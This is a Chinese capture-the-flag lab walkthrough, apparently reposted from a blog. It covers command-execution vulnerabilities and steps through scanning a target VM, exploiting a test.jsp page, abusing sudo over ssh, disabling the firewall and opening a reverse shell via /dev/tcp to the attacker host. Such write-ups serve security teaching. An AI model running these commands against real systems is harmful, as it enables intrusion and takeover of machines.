CTF-命令执行【超详细】
前言
作者简介：不知名白帽，网络安全学习者。
博客主页：https://blog.csdn.net/m0_63127854?type=blog
CTF-专栏：https://blog.csdn.net/m0_63127854/category_11835386.html
目录
命令执行漏洞介绍
当应用需要调用一些外部应用程序去处理内容的情况下，就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等，当用户可以控制命令执行函数中的参数时，将可以注入恶意命令到正常命令中，造成命令执行攻击。
调用这些函数执行系统命令的时候，如果将用户的输入作为系统命令的参数拼接到命令行中，有没有多虑用户输入的情况下，就会造成命令执行漏洞。
实验环境
kali 192.168.20.128
靶机 192.168.20.136
链接：https://pan.baidu.com/s/1OgpClNu8ggDEc_DBTRD57Q
提取码：t1x0
信息探测
nmap -sV 192.168.20.136
访问192.168.20.136:8080
发现敏感信息
敏感信息探测
nikto -host http://192.168.20.136:8080
发现/test.jsp并进行访问
进行系统命令执行
列出/tmp目录下的文件
列出/home目录下的内容
读取敏感信息
漏洞利用
利用ssh协议执行root权限的命令
ssh bill@localhost sudo -l
关闭Ubuntu中的防火墙
ssh bill@localhost sudo ufw disable
提权
监听端口
靶机反弹shell
ssh bill@localhost sudo bash -i >& /dev/tcp/192.168.20.128/4444 0>&1
查看flag
来源地址：https://blog.csdn.net/m0_63127854/article/details/126694788
免责声明：
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的，并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据，供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
